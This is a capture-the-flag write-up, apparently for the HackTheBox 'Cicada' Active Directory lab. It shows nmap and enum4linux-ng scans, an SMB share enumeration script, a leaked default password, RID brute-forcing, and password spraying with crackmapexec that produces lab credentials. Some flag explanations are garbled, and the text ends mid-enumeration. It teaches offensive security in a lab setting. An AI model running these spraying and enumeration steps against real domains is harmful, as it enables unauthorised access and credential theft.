HackTheBox – Cicada Writeup

This document details the step-by-step process to exploit the Cicada machine in Hack The Box. All tools and techniques used are included, from the initial enumeration to ===

Introduction

This document details the step-by-step process to exploit the machine Cicada at Hack The Box. All the tools and techniques used are included, from the initial enumeration to obtaining the administrator flag.

Tools Used:

nmap: open source tool used for network scanning and mapping.
enum4linux: Network auditing tool to obtain information about Windows systems through the SMB protocol. Allows enumeration of users, groups, policies, and other important settings for a domain.
CrackMapExec (CME): Post-exploitation tool that makes Windows network administration easier. It is used to perform tasks such as enumerating users, remotely executing commands, and exploiting vulnerabilities in a compromised network using SMB, RDP, WinRM, among others.
Evil-WinRM: Post-exploitation tool that allows you to interact with Windows systems remotely through PowerShell using the WinRM protocol.
Mimikatz: Security tool used to obtain user passwords and hashes from a Windows system, as well as to manipulate credentials.
pypykatz: Python-based tool to extract and analyze passwords from Windows SAM and SYSTEM files without needing to be in a Windows runtime environment.
samdump2: Command line tool used to extract passwords or hashes from Windows SAM and SYSTEM files.

Discovery of the Target Machine

Port Scanning with Nmap

The first thing we did was a scanning with Nmap to identify open ports on the machine. We use the following command:

BASH

❯ sudo nmap -sS -sC -sV -Pn -p- -T4 -A -oG allPorts 10.10.11.35

Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-03 12:17 CET
Nmap scan report for 10.10.11.35
Host is up (0.031s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-12-03 18:19:50Z)
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
50360/tcp open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 636/tcp)
HOP RTT    ADDRESS
1   ... 30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 299.08 seconds

-H.H: Performs a port scan on TCP using the SYN scan technique, which is fast and difficult to detect.
-sC- Runs default Nmap scripts to detect common vulnerabilities and get more information about services.
-sV: Detects the version of services listening on open ports.
-Pn: Disables host discovery, which assumes the host is up, even if it does not respond to pings.
-p-: Scan all ports (1 to 65535).
-T4: Adjust the scanning speed to make it faster, but less likely to be detected.
-TO: Performs a full scan to detect operating system, versions, and other advanced details.
-oG allPorts: Save the scan result to a file in output format grepable (ideal for later analysis).

Summary nmap results:

Port 88/tcp (Kerberos): Used for authentication on Windows networks using Kerberos.
Port 389/tcp (LDAP): Service LDAP used by Active Directory to access directories.
Port 464/tcp (kpasswd5?): Related to password management in Kerberos.
Port 593/tcp (RPC over HTTP): Used for Remote Procedure Call (RPC) over HTTP, common in Windows remote administration.
Port 636/tcp (SSL/LDAP): Variant of LDAP with SSL for encrypted communications.
Port 3268/tcp (LDAP Global Catalog): Used in Active Directory for the global directory catalog.
Port 3269/tcp (SSL/Global Catalog): Similar to port 3268 but with SSL to encrypt the communication.
Port 5985/tcp (HTTP API): Associated with HTTP API from Microsoft, used for remote administration.
Port 50360/tcp (Unknown): A port with an unknown service that requires further investigation.

Enumeration

After performing an initial port scan with Nmap, we decided to perform a deeper enumeration of the target machine using enum4linux-ng, a tool specialized in enumerating information about Windows systems through SMB, LDAP and RPC.

CODE

❯ /opt/enum4linux-ng/enum4linux-ng.py -A  10.10.11.35
ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... ''
[*] Random Username .. 'iiludawx'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    Domain Information via LDAP for 10.10.11.35    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb

 ==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.35    |
 ==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user
[+] Server allows session using username 'iiludawx', password ''
[H] Rerunning enumeration with user 'iiludawx' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 ==============================================
|    OS Information via RPC for 10.10.11.35    |
 ==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

 ====================================
|    Users via RPC on 10.10.11.35    |
 ====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED

 =====================================
|    Groups via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user

 ========================================
|    Policies via RPC for 10.10.11.35    |
 ========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed

 ========================================
|    Printers via RPC for 10.10.11.35    |
 ========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED

Completed after 10.54 seconds

Enumeration Summary

Accessible ports:

LDAP (389/tcp) and LDAPS (636/tcp) are available.
SMB (445/tcp) and SMB over NetBIOS (139/tcp) are open.

Domain:

The identified domain is cicada.htb, and the machine appears to be a root domain controller.

Operating system:

The operating system is Windows 10 either Windows Server 2019/2016 with the version 10.0.

Denied information:

The enumeration of users, groups and shared was blocked due to access restrictions (STATUS_ACCESS_DENIED).

Since no additional relevant information could be obtained using anonymous access, it was decided to attempt enumeration with other users, such as the user "guest", in the hope of obtaining more details and being able to advance the investigation.

CODE

❯ /opt/enum4linux-ng/enum4linux-ng.py -A  10.10.11.35 -u "guest"
ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'guest'
[*] Random Username .. 'injltnmq'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    Domain Information via LDAP for 10.10.11.35    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb

 ==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.35    |
 ==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'guest', password ''
[*] Check for random user
[+] Server allows session using username 'injltnmq', password ''
[H] Rerunning enumeration with user 'injltnmq' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 ==============================================
|    OS Information via RPC for 10.10.11.35    |
 ==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT     CICADA-DC

 ====================================
|    Users via RPC on 10.10.11.35    |
 ====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED

 =====================================
|    Groups via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED

 =====================================
|    Shares via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
  comment: Remote Admin
  type: Disk
C$:
  comment: Default share
  type: Disk
DEV:
  comment: ''
  type: Disk
HR:
  comment: ''
  type: Disk
IPC$:
  comment: Remote IPC
  type: IPC
NETLOGON:
  comment: Logon server share
  type: Disk
SYSVOL:
  comment: Logon server share
  type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: DENIED
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: DENIED
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: DENIED

 ========================================
|    Policies via RPC for 10.10.11.35    |
 ========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed

 ========================================
|    Printers via RPC for 10.10.11.35    |
 ========================================
[+] No printers returned (this is not an error)

Completed after 15.87 seconds

Enumeration Summary

Accessible ports:

LDAP (389/tcp) and LDAPS (636/tcp) are accessible.
SMB (445/tcp) and SMB over NetBIOS (139/tcp) are open.

Domain:

The domain is cicada.htb and the domain controller is CICADA-DC.

Operating system information:

The operating system is Windows 10, Windows Server 2019, either Windows Server 2016 (version 10.0, build 20348).

Shares found:

7 shared were found, of which some like DEV, HR and CPI$ could be mapped correctly, while others like ADMIN$, C$, NETLOGON and SYSVOL They had access restrictions.

Users and groups:

Could not list users or groups due to access restrictions (STATUS_ACCESS_DENIED).

Policies:

Could not obtain security policies via RPC due to a connection error (STATUS_ACCESS_DENIED).

during enumeration of SMB shares on the server 10.10.11.35, several accessible shared drives were found: DEV, HR, NETLOGON and SYSVOL. Next, we created a script to review the contents of each of these drives and verify their availability.

Script for SMB shares enumeration

The following Bash script attempts to access each of the detected SMB shares and list their contents. The script uses the user credentials guest to attempt access.

BASH

#!/bin/bash

# Dirección IP del servidor
SERVER_IP="10.10.11.35"

# Usuario SMB
SMB_USER="guest"
SMB_PASS=""

# Lista de shares detectados
SHARES=("DEV" "HR" "NETLOGON" "SYSVOL")

echo "Iniciando enumeración de shares SMB en $SERVER_IP con usuario '$SMB_USER'..."

for SHARE in "${SHARES[@]}"; do
    echo "Intentando acceder al share: $SHARE"
    
    # Comando para listar el contenido del share
    smbclient "\\\\$SERVER_IP\\$SHARE" -U "$SMB_USER%$SMB_PASS" 2>/dev/null

    # Verificar si el acceso fue exitoso
    if [ $? -eq 0 ]; then
        echo "Acceso exitoso al share '$SHARE'. Contenido listado arriba."
    else
        echo "No se pudo acceder al share '$SHARE'."
    fi

    echo "---------------------------------------------"
done

echo "Enumeración completada."

Script execution

When executing the script, the SMB shares were enumerated and an attempt was made to access each of them:

CODE

❯ bash enum_smb.sh

Iniciando enumeración de shares SMB en 10.10.11.35 con usuario 'guest'...
Intentando acceder al share: DEV
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'DEV'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: HR
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024

		4168447 blocks of size 4096. 417279 blocks available
smb: \> exit
Acceso exitoso al share 'HR'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'NETLOGON'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'SYSVOL'. Contenido listado arriba.
---------------------------------------------
Enumeración completada.

The following accessible shares were detected:

DEV: Successful access, although the content was not detailed.
HR: Access successful. The listed content included a file called Notice from HR.txt.
NETLOGON and SYSVOL: Access successful, but the content could not be listed in detail.

Download the file “Notice from HR.txt”

The file Notice from HR.txt is located on the shared drive HR. Below is how the file was downloaded using the command smbclient:

CODE

❯ smbclient \\\\10.10.11.35\\HR -U "guest"
Password for [WORKGROUP\guest]:
smb: \> ls
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (9,9 KiloBytes/sec) (average 9,9 KiloBytes/sec)

During document analysis Notice from HR.txt, we found sensitive information containing a default password for new employees of Cicada Corp. The content of the file is as follows:

CODE

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:
1. Log in to your Cicada Corp account using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

Use of the Software `enum4linux` to Explore Sensitive Data:

Despite having obtained the password mentioned in the document, we try to search for valuable information using the tool enum4linux to extract data from the target machine. However, we were unable to obtain significant results.

Performing a Brute Force Attack with `crackmapexec`:

As a next step, we use crackmapexec with the option --rid-brute to try to discover other possible users on the domain. The following command allows us to enumerate potential users in the SMB domain:

CODE

❯ poetry run crackmapexec smb  10.10.11.35  -u "guest" -p "" --rid-brute


SMB         10.10.11.35     445    CICADA-DC        [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\guest: 
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

WinRM Connection Test

A connection test was performed using CrackMapExec (CME) to verify authentication using the WinRM service on the target 10.10.11.35. The lists of users and passwords previously obtained were used.

CODE

❯ poetry run crackmapexec winrm 10.10.11.35 -u /home/rokitoh/CTF/htb/Cicada/users.txt -p /home/rokitoh/CTF/htb/Cicada/pass.txt


SMB         10.10.11.35     5985   CICADA-DC        [*] Windows 10.0 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
HTTP        10.10.11.35     5985   CICADA-DC        [*] http://10.10.11.35:5985/wsman
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 
HTTP        10.10.11.35     5985   CICADA-DC        [-] cicada.htb\:Cicada$M6Corpb*@Lp#nZp!8

Result:

SMB: Successful connection on port 5985 with the computer name CICADA-DC and Windows version 10.0 Build 20348.

HTTP: Multiple authentication attempts with domain users cicada.htb, but everyone failed, including the user Administrator and other common ones.

SMB Connection Test

We perform the same authentication test but using SMB on port 445, with the same username and password file.

CODE

❯ poetry run crackmapexec smb 10.10.11.35 -u /home/rokitoh/CTF/htb/Cicada/users.txt -p /home/rokitoh/CTF/htb/Cicada/pass.txt
SMB         10.10.11.35     445    CICADA-DC        [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

Result:

SMB: Connection successful, but authentication failed with all common users (Administrator, Guest, krbtgt).
However, it was identified a successful login with the user michael.wrightson.

SMB enumeration with `enum4linux`

With username and password michael.wrightson obtained, the shared resources were listed using enum4linux-ng, which provided full access to information about the domain and SMB configuration on the remote system.

CODE

❯ /opt/enum4linux-ng/enum4linux-ng.py -A 10.10.11.35 -u "michael.wrightson" -p 'Cicada$M6Corpb*@Lp#nZp!8'


ENUM4LINUX - next generation (v1.3.3)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'michael.wrightson'
[*] Random Username .. 'yxrwnyib'
[*] Password ......... 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.35    |
 ====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    Domain Information via LDAP for 10.10.11.35    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb

 ==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.35    |
 ==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ========================================
|    SMB Dialect Check on 10.10.11.35    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true

 ==========================================================
|    Domain Information via SMB session for 10.10.11.35    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA

 ========================================
|    RPC Session Check on 10.10.11.35    |
 ========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'michael.wrightson', password 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Check for random user
[+] Server allows session using username 'yxrwnyib', password 'Cicada$M6Corpb*@Lp#nZp!8'
[H] Rerunning enumeration with user 'yxrwnyib' might give more results

 ==================================================
|    Domain Information via RPC for 10.10.11.35    |
 ==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member

 ==============================================
|    OS Information via RPC for 10.10.11.35    |
 ==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT     CICADA-DC

 ====================================
|    Users via RPC on 10.10.11.35    |
 ====================================
[*] Enumerating users via 'querydispinfo'
[+] Found 8 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 8 user(s) via 'enumdomusers'
[+] After merging user results we have 8 user(s) total:
'1104':
  username: john.smoulder
  name: (null)
  acb: '0x00000210'
  description: (null)
'1105':
  username: sarah.dantelia
  name: (null)
  acb: '0x00000210'
  description: (null)
'1106':
  username: michael.wrightson
  name: (null)
  acb: '0x00000210'
  description: (null)
'1108':
  username: david.orelious
  name: (null)
  acb: '0x00000210'
  description: Just in case I forget my password is aRt$Lp#7t*VQ!3
'1601':
  username: emily.oscars
  name: Emily Oscars
  acb: '0x00000210'
  description: (null)
'500':
  username: Administrator
  name: (null)
  acb: '0x00000210'
  description: Built-in account for administering the computer/domain
'501':
  username: Guest
  name: (null)
  acb: '0x00000214'
  description: Built-in account for guest access to the computer/domain
'502':
  username: krbtgt
  name: (null)
  acb: '0x00020011'
  description: Key Distribution Center Service Account

 =====================================
|    Groups via RPC on 10.10.11.35    |
 =====================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 28 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 17 group(s) via 'enumdomgroups'
